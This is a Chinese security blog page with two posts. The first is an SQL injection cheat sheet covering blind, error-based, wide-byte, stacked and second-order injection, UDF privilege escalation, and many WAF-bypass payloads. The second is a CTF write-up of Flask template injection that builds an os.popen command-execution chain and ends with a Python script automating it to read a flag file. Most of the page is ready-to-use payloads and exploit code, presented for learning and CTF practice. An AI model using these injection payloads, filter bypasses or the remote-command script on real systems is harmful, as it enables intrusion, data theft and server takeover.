首页
相册
统计
留言
更多
网安工具
CTF工具
关于
Search
1
椭圆曲线加密算法原理(ECC)
5,324 阅读
2
SMBGhost(CVE-2020-0796)漏洞利用
4,302 阅读
3
关于gdb调试
4,065 阅读
4
Arduino使用CubeCell开发板进行LORA无线通信
3,852 阅读
5
Diffie-Hellman密钥协商算法
3,542 阅读
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
登录
Search
标签搜索
单片机
密码学
Windows
BPF
Python
Linux
Mysql
APP开发
软考
Cobalt Strike
flutter
入侵检测
HSM's Blog
累计撰写
53
篇文章
累计收到
11
条评论
首页
栏目
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
页面
相册
统计
留言
网安工具
CTF工具
关于
搜索到
2
篇与
的结果
2023-06-30
SQL注入攻击
2.1. SQL注入的类型2.1.1 联合注入2.1.2 盲注(没有报错信息)基于Boolean的SQL盲注kobe' and 1=1# 或者--+ kobe' and 1=2# kobe' and ascii(substr( (select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )<112# 它返回了kobe的信息,那就意味着,我们猜测的字符是小于112的基于时间的SQL盲注(当bool盲注都没发进行的时候才考虑时间盲注)常见函数与语句:select sleep(3); select if(1=2,'true','false'); # 正确返回‘true’,错误反悔‘false’ select substr("administrator",2,5); # 截取第2开始,后面5个字符(从1开始) select ord('a'); # 将字母转为ascii码,只看第一个字母 select length('abcdefg');# 返回长度2.1.3 报错注入floor() 报错注入(rand和order by/group by冲突)?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ # 给语句拼接上~让它报错ExtractValue(column,path)报错注入(把path参数路径写错)?id=1' and 1=extractvalue(1,concat(0x7e,(select database()))) --+UpdataXml(XML_document, XPath, new_value)报错注入(修改XPath,导致的报错)?id=1' and updatexml(1,concat('~',(select database()),'~'),3); # 给语句拼接上~让它报错exp() 报错注入(参数大于709时溢出,5.5<version<5.6)?id=1' and (exp(~(select * from (select version()) a)))支持报错注入的数据库:Access/MySQL/SQLServer/Oracle/PostgreSQL/SQLite等其他可用于报错的函数:geometrycollection() 、multipoint() 、linestring() 、multilinestring()2.2 请求方式注入get注入、post注入、cookie注入、User-Agent注入2.3 宽字节注入2.3.1 原理因为PHP使用的是UTF8(可变字节编码)而数据库使用GBK编码(2字节编码),有些waf会在我们的提交数据前会被加入*,*的编码为%5c,我们在后面加上%df后变为了%df%5c,变成一个繁体汉字運,变成了一个有多个字节的字符。,使%df%5c为一个两字节,绕过了单引号闭合,逃逸了转义。也就是有一些数据,php认为是单字节,但是当传到数据库中后,会被当做宽字节处理而形成的漏洞。2.3.2 涉及函数addslashes() 函数返回在预定义字符之前添加反斜杠的字符串$username = "John O'Connor"; $escapedUsername = addslashes($username); echo $escapedUsername; John O\'Connormysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符(已于PHP 7.0.0版本中废弃)mysql_escape_string() 转义一个字符串(已于PHP 7.0.0版本中废弃)2.3.3 利用宽字节注入利用http://127.0.0.1/Less-32/?id=1%df’(浏览器自动进行url编码%27)->%df%27 根据以上分析,发生如下转换: %df%27—>(check_addslashes)—>%df%5c%27---->(GBK)---->運’2.4 堆叠注入mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用";"隔开select * from student;select current_user();2.5 二次注入当插入的时候,会对特殊字符进行转义操作,但是写入的时候还是保存原有的数据,当下一次使用中在拼凑的过程中,就形成了二次注入。2.6 权限提升2.6.1 UDF提权UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。攻击步骤:udf提权_GitCloud的博客-CSDN博客2.7 SQL注入绕过WAFSQL注入针对关键字过滤的绕过技巧常见的有**/*/**注释绕过,注释代替空格,**/!/**内联注释绕过,**/!50001*/**版本号绕过,url编码绕过,特殊字符绕过**%0a**换行,使用空字节**%00**,等价替换等等。1. 变换大小写绕过可以绕过的原因:服务器端检测时未开启大小写不敏感,交错改成大小写格式。实例:比如WAF拦截了union,那就使用Union、UnloN等方式绕过。select * from users where id=1 Union sEleCT 1,2,3,4;2. 编码绕过(16进制,url编码,unicode编码)可以绕过的原因:服务器端未检测或检测不严具有编码形式的关键字,把一些字符串改写成16进制或者其他编码。十六进制编码:WAF检测敏感字'~',则可以用 0x7e 代替。extractvalue(1,concat('~',database())) # 改写成 extractvalue(1,concat(0x7e,database()))十六进制编码: WAF检测敏感字'admin',则可以用0x61646d696e代替。select name,passfrom users where name='admin' # 改写成 select name,pass from users where name=0x61646d696eurl编码:WAF检测敏感字select,union,可以在URL中将select变成%73elEcT编码结合大小写变换绕过WAF,union=%75%6E%69%6F%6E。union select name,passfrom users where name='admin' # 改写成 %75%6E%69%6F%6E %73elEcT name,passfrom users where name='admin'unicode编码:IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS会自动进行转换!select name,passfrom users where name='admin' # 改写成 se%u006cect name,passfrom users where name='admin'3. 内联注释绕过可以绕过的原因:服务器端未检测或检测不严注释内的字符串注释形式: 在mysql的语法中,有三种注释方法:--和#(单行注释)和/ /(多行注释)如果在/*后加惊叹号!意为/ /里的语句将被执行。1' and /*!1*/=/*!1*/ # 1' and 1=14. 重写绕过可以绕过的原因:服务器端检测到敏感字符时替换为空,适用于WAF只过滤一次敏感字的情况。实例:WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了?id=1 ununionion select 1,2,35. 特殊字符绕过绕过原因:数据库中效果相同,服务器端却没有限制。空格替换:用%09、%20、%0a、%0b、%0c、%0d、%a0、//、/somewords/**等来替换空格。科学记数法: and 1e0 = 1e0反单引号: table_name括号: select * from (test.admin)6. 比较操作符替换适用于某一比较操作符(如等号)被过滤的情况。比如要判断某个值是不是74,假设=被过滤,则可以判断是不是大于73,是不是小于75,然后就知道是74了:/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75WAF将=过滤,可以利用regexp、like、rlike来绕过?id=1' or 1 regexp 1 ?id=1' or 1 like 1 ?id=1' or 1 rlike 17. 逻辑运算符过滤过滤了or、and、xor、not可以用相对应的字符代替:&&、||、| 、! 8. 同功能函数替换可以绕过的原因:服务器端黑名单不完整,过滤不严,适用于某一函数被过滤的情况。等价函数形式:sleep() <-->benchmark() ascii() <-–>hex()、bin(),替代之后再使用对应的进制转string即可 group_concat() <–->concat_ws() substr() <--> substring() <--> mid() user() <--> @@user、datadir–>@@datadir ord() <-–> ascii():这两个函数在处理英文时作用相同,但是处理中文等时不一致。 or过滤导致information无法使用可以用如下几个代替进行查表: sys.x$schema_flattened_keys sys.x$schema_table_statistics_with_buffer sys.schema_table_statistics_with_buffer 字段的查询则利用无列名配合爆破如:(select 1,xxxxx) > (select * from tablename)例子,假如substring() 被WAF过滤:substring((select 'password'),1,1) = Ox70 substr((select 'password'),1,1)= Ox70 mid((select 'password'),1,1) = Ox70
2023年06月30日
32 阅读
0 评论
3 点赞
2020-03-07
Python--flask模板注入
1 Python----flask模板注入1.1 验证是否存在该漏洞和利用首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思考怎样用 python 语句获取控制台权限:想到了 os.system 和 os.popen ([参考资料](https://blog.csdn.net/sxingming/article/details/52071514)), 这两句前者返回 退出状态码 , 后者 以 file 形式 返回 输出内容, 我们想要的是内容,所所以选择 os.popen 。 知道了要用这一句,那么我要怎么找到这一句呢?python 给我们提供了完整的寻找链(参考资料):__class__ : 返回对象所属的类 __mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ : 返回该类所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ : 类的初始化方法 __globals__ : 对包含函数全局变量的字典的引用首先,找到当前变量所在的类:111.198.29.45:57350/{{''.__class__}} 服务器回复:URL http://111.198.29.45:57350/<type 'str'> not found 发现这个回复里已经告诉我们 这个变量的类是 'str' 了。接下来,从这个类找到它的基类:http://111.198.29.45:57350/%7B%7B''.__class__.__mro__%7D%7D服务器回复:`URL http://111.198.29.45:57350/(, <type 'basestring'>, ) not found`发现基类也有了。然后,通过基类来找其中任意一个基类的引用列表:http://111.198.29.45:57350/%7B%7B''.__class__.__mro__[2].__sub classes__()%7D%7D这里有个小细节,__mro__[] 中括号里填谁其实区别都不大,这些基类引用的东西都一样。服务器回复了很长的一个列表,我就不列举了,从其中可以找到我们想要的 os 所在的 site._Printer 类,它在列表的第七十二位,即 __subclasses__()[71] 。通过 __subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()来 调用服务器的控制台 并显示 ,这下我们就可以随便用控制台输出了。直接填命令语句:http://111.198.29.45:57350/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D注意这里的 popen('ls').read() ,意思是 **得到 ls 的结果并读取给变量** ,因此它会把当前目录所有文件都打印在我们的网页上,内容如下:URL http://111.198.29.45:57350/fl4g index.py not found 从这里我们看到,flag 存在一个叫 fl4g 的无后缀文件里,那就好办了,再构造一个 payload,用 cat 读一下内容:ttp://111.198.29.45:57350/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D服务器回复:`URL http://111.198.29.45:57350/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found`flag 到手2 编写脚本def search(url_1): #查找位置 import requests url_2 = url_1 + "%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D" a = requests.session() b = a.get(url_2) c = b.text d = c.split(',') j = 0 for i in d: # print(i.find("site._Printer")) if i.find('site._Printer') > 0: return j j+=1 return -1 def scandir(url,x): #找到本目录的文件 import requests str_1 = "%7B%7B''.__class__.__mro__[2].__subclasses__()[" str_2 = "].__init__.__globals__['os'].popen('ls').read()%7D%7D" e = requests.get(url + str_1 + str(x) + str_2) e = filter(e.text) return e def filter(str): #过滤 str = str.replace("<h1>",'') str = str.replace("</h1>", '') str = str.replace("<br/>", '') # str = str.replace("", '') str = str.replace("index.py", '') str = str.replace("not found", '') # str = str.replace("", '') return str def flag(url,x,file): #获取flag import requests url_2 = "%7B%7B''.__class__.__mro__[2].__subclasses__()[" url_3 = "].__init__.__globals__['os'].popen('" url_4 = "').read()%7D%7D" result = requests.get(url+url_2+str(x)+url_3+"cat "+file+url_4) d = filter(result.text) print(d) url = "http://111.198.29.45:57350/" x = search(url) file = scandir(url,x) flag(url,x,"fl4g")3 参考资料从零学习flask模板注入
2020年03月07日
622 阅读
0 评论
0 点赞